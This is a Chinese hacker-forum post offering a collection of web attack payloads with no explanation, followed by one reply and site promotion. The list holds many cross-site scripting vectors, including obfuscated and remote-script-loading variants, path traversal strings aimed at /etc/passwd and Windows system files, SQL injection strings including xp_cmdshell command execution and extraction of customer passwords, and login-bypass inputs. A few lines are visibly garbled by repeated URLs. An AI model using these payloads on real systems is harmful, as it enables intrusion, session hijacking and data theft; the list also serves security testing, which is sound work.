XSS跨站测试代码大全

1937cn丶Kender
118611937cn丶Kender白蚁王族
2017-07-15 14:56:01
11861 2017-07-15 14:56:01
<div>'&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</div><div>='&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</div><div>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</div><div>&lt;script&gt;alert(vulnerable)&lt;/script&gt;</div><div>%3Cscript%3Ealert('XSS')%3C/script%3E</div><div>&lt;script&gt;alert('XSS')&lt;/script&gt;</div><div>&lt;img src="javascript:alert('XSS')"&gt;</div><div>%0a%0a&lt;script&gt;alert(\"Vulnerable\")&lt;/script&gt;.jsp</div><div>%22%3cscript%3ealert(%22xss%22)%3c/script%3e</div><div>%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd</div><div>%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini</div><div>%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e</div><div>%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e</div><div>%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html</div><div>%3f.jsp</div><div>%3f.jsp</div><div>&lt;script&gt;alert('Vulnerable');&lt;/script&gt;</div><div>&lt;script&gt;alert('Vulnerable')&lt;/script&gt;</div><div>?sql_debug=1</div><div>a%5c.aspx</div><div>a.jsp/&lt;script&gt;alert('Vulnerable')&lt;/script&gt;</div><div>a/</div><div>a?&lt;script&gt;alert('Vulnerable')&lt;/script&gt;</div><div>"&gt;&lt;script&gt;alert('Vulnerable')&lt;/script&gt;</div><div>';exec%20master..xp_cmdshell%20'dir%20 c:%20&gt;%20c:\inetpub\wwwroot\?.txt'--&amp;&amp;</div><div>%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E</div><div>%3Cscript%3Ealert(document. domain);%3C/script%3E&amp;</div><div>%3Cscript%3Ealert(document.domain);%3C/script%3E&amp;SESSION_ID={SESSION_ID}&amp;SESSION_ID=</div><div>1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=</div><div>https://www.cnblogs.com/https://www.cnblogs.com/https://www.cnblogs.com/https://www.cnblogs.com/etc/passwd</div><div>..\..\..\..\..\..\..\..\windows\system.ini</div><div>\..\..\..\..\..\..\..\..\windows\system.ini</div><div>'';!--"&lt;XSS&gt;=&amp;{()}</div><div>&lt;IMG src="javascript:alert('XSS');"&gt;</div><div>&lt;IMG src=javascript:alert('XSS')&gt;</div><div>&lt;IMG src=JaVaScRiPt:alert('XSS')&gt;</div><div>&lt;IMG src=JaVaScRiPt:alert("XSS")&gt;</div><div>&lt;IMG src=javascript:alert('XSS')&gt;</div><div>&lt;IMG src=javascript:alert('XSS')&gt;</div><div>&lt;IMG src=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;</div><div>&lt;IMG src="jav ascript:alert('XSS');"&gt;</div><div>&lt;IMG src="jav ascript:alert('XSS');"&gt;</div><div>&lt;IMG src="jav ascript:alert('XSS');"&gt;</div><div>"&lt;IMG src=java\0script:alert(\"XSS\")&gt;";' &gt; out</div><div>&lt;IMG src=" javascript:alert('XSS');"&gt;</div><div>&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;</div><div>&lt;BODY BACKGROUND="javascript:alert('XSS')"&gt;</div><div>&lt;BODY ONLOAD=alert('XSS')&gt;</div><div>&lt;IMG DYNSRC="javascript:alert('XSS')"&gt;</div><div>&lt;IMG LOWSRC="javascript:alert('XSS')"&gt;</div><div>&lt;BGSOUND src="javascript:alert('XSS');"&gt;</div><div>&lt;br size="&amp;{alert('XSS')}"&gt;</div><div>&lt;LAYER src="https://xss.ha.ckers.org/a.js"&gt;&lt;/layer&gt;</div><div>&lt;LINK REL="stylesheet" href="javascript:alert('XSS');"&gt;</div><div>&lt;IMG src='vbscript:msgbox("XSS")'&gt;</div><div>&lt;IMG src="mocha:
<pre class="">"&gt;</pre>
</div><div></div><div><div><div style="background-image:url(javascript:alert('XSS'));"></div><div><div style="behaviour:url('https://www.how-to-hack.org/exploit.html');"></div><div><div style="width:expression(alert('XSS'));"></div><div>
<style>@im\port'\ja\vasc\ript:alert("XSS")';</style>
</div><div><img style="xss:expre\ssion(alert(&quot;" /></div><div>
<style type="text/javascript">alert('XSS');</style>
</div><div>
<style type="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</style>
<a class="XSS"></a></div><div>
<style type="text/css">BODY{background:url("javascript:alert('XSS')")}</style>
</div><div><base href="javascript:alert('XSS');//" /></div><div>getURL("javascript:alert('XSS')")</div><div>a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);</div><div><xml src="javascript:alert('XSS');"></xml></div><div>"&gt; &lt;"</div><div><div></div><div></div><div></div><div></div><div>PT src="https://xss.ha.ckers.org/a.js"&gt;</div><div><a href="https://www.gohttps://www.google.com/ogle.com"></a>link</div><div>admin'--</div><div>' or 0=0 --</div><div>" or 0=0 --</div><div>or 0=0 --</div><div>' or 0=0 #</div><div>" or 0=0 #</div><div>or 0=0 #</div><div>' or 'x'='x</div><div>" or "x"="x</div><div>') or ('x'='x</div><div>' or 1=1--</div><div>" or 1=1--</div><div>or 1=1--</div><div>' or a=a--</div><div>" or "a"="a</div><div>') or ('a'='a</div><div>") or ("a"="a</div><div>hi" or "a"="a</div><div>hi" or 1=1 --</div><div>hi' or 1=1 --</div><div>hi' or 'a'='a</div><div>hi') or ('a'='a</div><div>hi") or ("a"="a</div></div></div></div></div><table background="javascript:alert('XSS')"></table></div>
本文标题:XSS跨站测试代码大全
本文作者:1937cn丶Kender
本文来自:蚁安黑客官网
转载请注明本文链接:http://bbs.mayidui.net/t688-1.html
ch907722752
沙发ch907722752脚本小子 2017-10-05 20:25
666
游客
登录黑客论坛后才可以回帖,黑客登录 或者 注册黑客
weixin
蚁安黑客

找黑客工具、找黑客教程、找黑客朋友,你想不到的黑客技术这儿都有!

微信号:baiyiwangan